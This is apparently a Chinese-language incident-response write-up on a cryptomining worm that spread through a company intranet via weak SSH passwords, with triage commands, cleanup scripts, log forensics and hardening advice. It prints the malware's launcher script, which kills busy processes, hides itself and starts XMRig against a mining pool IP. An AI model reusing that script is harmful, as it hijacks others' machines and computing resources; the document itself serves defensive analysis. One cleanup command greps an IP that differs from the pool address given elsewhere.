一次内网挖矿病毒的应急响应
字数 1541 2025-08-22 18:37:21

内网挖矿病毒应急响应与处置指南

一、事件背景与概述

某企业内网服务器出现CPU持续高负载告警,经排查发现为挖矿病毒入侵并已在内网扩散。攻击者通过SSH弱口令爆破获取初始访问权限,随后在内网横向移动,部署挖矿程序(XMRig变种)。病毒特征包括:

  • 高CPU占用(达4000%)
  • 隐藏于非常规目录(/mnt/.bash、/mnt/.cache、/tmp/.bash)
  • 通过定时任务持久化
  • 自动清除高CPU进程为挖矿腾出资源

二、攻击特征分析

1. 病毒行为特征

  • 进程特征:伪装为bash进程,实际执行挖矿程序
  • 文件特征
    • 主要目录:/mnt/.bash、/mnt/.cache、/tmp/.bash
    • 关键文件:upd(启动脚本)、bash(挖矿主程序)、stak/xmrig(挖矿程序)
  • 网络特征:连接矿池地址188.166.218.65:54

2. 恶意脚本分析

#!/bin/bash
# 清除高CPU进程(被注释但可能实际使用)
ps aux | grep -vw xmr-stak | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done

# 根据CPU架构启动不同挖矿程序
proc=`nproc`
ARCH=`uname -m`
HIDE="xmrig"
if [ "$ARCH" == "i686" ]; then
    ./h32 -s $HIDE
    ./stak3/ld-linux.so.2 --library-path stak3 stak3/xmrig -o 188.166.218.65:54 -a cn/r -k >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
    ./h64 -s $HIDE
    ./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmrig -o 188.166.218.65:54 -k >>/dev/null &
fi
echo $! > bash.pid

三、应急响应流程

1. 初步排查

  1. CPU监控:通过top命令查看异常高CPU进程

    top
    ps aux --sort=pcpu | head -10
    
  2. 进程溯源

    ls -l /proc/<PID>/exe  # 查看进程对应的可执行文件
    

2. 病毒清除步骤

(1) 终止恶意进程

# 查找并终止隐藏进程
pid_num=$(ls -l /proc/*/exe 2>&1 | grep mnt/.bash | awk '{print $9}' | cut -f3 -d "/")
[ ! -z "$pid_num" ] && kill -9 $pid_num

# 终止连接矿池的进程
pid_num4=$(netstat -antlp | grep 206.81.29.251 | awk '{print $7}' | cut -f1 -d "/")
[ ! -z "$pid_num4" ] && kill -9 $pid_num4

(2) 删除恶意文件

rm -rf /mnt/.cache/ /mnt/.bash/ /tmp/.bash/

(3) 清理定时任务

# CentOS
CRON_FILE="/var/spool/cron/root"
# Ubuntu
CRON_FILE="/var/spool/cron/crontabs/root"

sed -i '/.cache\/upd/d' $CRON_FILE
sed -i '/.bash\/upd/d' $CRON_FILE
sed -i '/tmp\/.bash\/bash/d' $CRON_FILE

3. 完整清理脚本

#!/bin/bash
DIR_PATH="/mnt/.cache"
FILE_PATH="/mnt/.cache/upd"
CRON_FILE="/var/spool/cron/root"

# 判断系统类型
is_ubuntu=$(cat /proc/version | grep ubuntu | wc -l)
[[ $is_ubuntu == 1 ]] && CRON_FILE="/var/spool/cron/crontabs/root"

# 终止各类隐藏进程
declare -a dirs=("/mnt/.bash" "/mnt/.cache" "/tmp/.bash")
for dir in "${dirs[@]}"; do
    pid_num=$(ls -l /proc/*/exe 2>&1 | grep "$dir" | awk '{print $9}' | cut -f3 -d "/")
    [ ! -z "$pid_num" ] && kill -9 $pid_num
done

# 终止矿池连接进程
pid_num4=$(netstat -antlp | grep 188.166.218.65 | awk '{print $7}' | cut -f1 -d "/")
[ ! -z "$pid_num4" ] && kill -9 $pid_num4

# 清理文件和定时任务
declare -a targets=(
    "/mnt/.cache:upd"
    "/mnt/.bash:upd"
    "/tmp/.bash:bash"
)

for target in "${targets[@]}"; do
    dir=${target%:*}
    file=${target#*:}
    if [ -d "$dir" ] && [ -x "$dir/$file" ]; then
        echo -e "\033[31m清理$dir目录...\033[0m"
        sed -i "\|$dir/$file|d" $CRON_FILE
        rm -rf "$dir"
    fi
done

echo -e "\033[33m请立即修改root密码为强密码!\033[0m"

四、入侵溯源分析

1. 日志检查

lastb > /home/lastb.log      # 失败登录记录
last > /home/last.log        # 成功登录记录
cat /var/log/secure > /home/secure.log  # 安全日志

2. 攻击路径还原

  1. 入口点:外网可访问的测试服务器(存在大量测试账号)
  2. 横向移动:通过192.168.111.67对内网进行SSH弱口令爆破
    • 常见弱口令:123456、admin123
  3. 持久化:通过定时任务和隐藏目录维持访问

3. 暴力破解成功列表

攻击者在内网扫描后整理的弱口令成功清单,用于后续批量控制其他服务器。

五、安全加固建议

1. 密码策略

  • 禁止内网服务器使用弱口令
  • 强制修改所有服务器的root密码为复杂密码
  • 禁止MySQL等服务使用弱口令

2. 访问控制

  • 限制外网可访问的服务器
  • 明确服务器责任人制度
  • 实施网络隔离策略

3. 安全监控

  • 部署主机安全防护软件
  • 定期进行弱口令扫描
  • 监控异常CPU使用情况

4. 日志管理

  • 确保关键日志完整保存
  • 定期审计/var/log/secure等安全日志
  • 配置日志服务器集中收集

六、入侵排查清单

1. 系统检查项

检查项目 命令/文件 说明
定时任务 crontab -l, /var/spool/cron/* 检查恶意任务
用户信息 /etc/passwd, stat /etc/passwd 检查异常用户
操作历史 export HISTTIMEFORMAT="%F %T whoami "; history 检查可疑操作
进程列表 top, ps aux --sort=pcpu 检查高CPU进程
网络连接 netstat -antlp 检查可疑连接
hosts文件 /etc/hosts 检查恶意域名重定向

2. 关键日志文件

  • /var/log/secure:SSH登录等安全事件
  • /var/log/btmp:失败登录记录(使用lastb查看)
  • /var/log/wtmp:成功登录记录(使用last查看)
  • /var/log/yum.log:软件安装记录

七、经验总结

  1. 弱口令是最大威胁:所有被入侵服务器均存在简单密码
  2. 横向移动速度快:内网缺乏隔离导致病毒快速扩散
  3. 日志完整性关键:部分服务器日志被清除增加溯源难度
  4. 自动化响应必要:批量脚本显著提高清理效率

通过本次事件应建立:

  • 强密码策略和定期更换机制
  • 内网安全分区和访问控制
  • 安全监控和告警系统
  • 应急响应预案和演练机制
内网挖矿病毒应急响应与处置指南 一、事件背景与概述 某企业内网服务器出现CPU持续高负载告警,经排查发现为挖矿病毒入侵并已在内网扩散。攻击者通过SSH弱口令爆破获取初始访问权限,随后在内网横向移动,部署挖矿程序(XMRig变种)。病毒特征包括: 高CPU占用(达4000%) 隐藏于非常规目录(/mnt/.bash、/mnt/.cache、/tmp/.bash) 通过定时任务持久化 自动清除高CPU进程为挖矿腾出资源 二、攻击特征分析 1. 病毒行为特征 进程特征 :伪装为bash进程,实际执行挖矿程序 文件特征 : 主要目录:/mnt/.bash、/mnt/.cache、/tmp/.bash 关键文件:upd(启动脚本)、bash(挖矿主程序)、stak/xmrig(挖矿程序) 网络特征 :连接矿池地址188.166.218.65:54 2. 恶意脚本分析 三、应急响应流程 1. 初步排查 CPU监控 :通过top命令查看异常高CPU进程 进程溯源 : 2. 病毒清除步骤 (1) 终止恶意进程 (2) 删除恶意文件 (3) 清理定时任务 3. 完整清理脚本 四、入侵溯源分析 1. 日志检查 2. 攻击路径还原 入口点 :外网可访问的测试服务器(存在大量测试账号) 横向移动 :通过192.168.111.67对内网进行SSH弱口令爆破 常见弱口令:123456、admin123 持久化 :通过定时任务和隐藏目录维持访问 3. 暴力破解成功列表 攻击者在内网扫描后整理的弱口令成功清单,用于后续批量控制其他服务器。 五、安全加固建议 1. 密码策略 禁止内网服务器使用弱口令 强制修改所有服务器的root密码为复杂密码 禁止MySQL等服务使用弱口令 2. 访问控制 限制外网可访问的服务器 明确服务器责任人制度 实施网络隔离策略 3. 安全监控 部署主机安全防护软件 定期进行弱口令扫描 监控异常CPU使用情况 4. 日志管理 确保关键日志完整保存 定期审计/var/log/secure等安全日志 配置日志服务器集中收集 六、入侵排查清单 1. 系统检查项 | 检查项目 | 命令/文件 | 说明 | |---------|----------|------| | 定时任务 | crontab -l , /var/spool/cron/* | 检查恶意任务 | | 用户信息 | /etc/passwd , stat /etc/passwd | 检查异常用户 | | 操作历史 | export HISTTIMEFORMAT="%F %T whoami "; history | 检查可疑操作 | | 进程列表 | top , ps aux --sort=pcpu | 检查高CPU进程 | | 网络连接 | netstat -antlp | 检查可疑连接 | | hosts文件 | /etc/hosts | 检查恶意域名重定向 | 2. 关键日志文件 /var/log/secure :SSH登录等安全事件 /var/log/btmp :失败登录记录(使用 lastb 查看) /var/log/wtmp :成功登录记录(使用 last 查看) /var/log/yum.log :软件安装记录 七、经验总结 弱口令是最大威胁 :所有被入侵服务器均存在简单密码 横向移动速度快 :内网缺乏隔离导致病毒快速扩散 日志完整性关键 :部分服务器日志被清除增加溯源难度 自动化响应必要 :批量脚本显著提高清理效率 通过本次事件应建立: 强密码策略和定期更换机制 内网安全分区和访问控制 安全监控和告警系统 应急响应预案和演练机制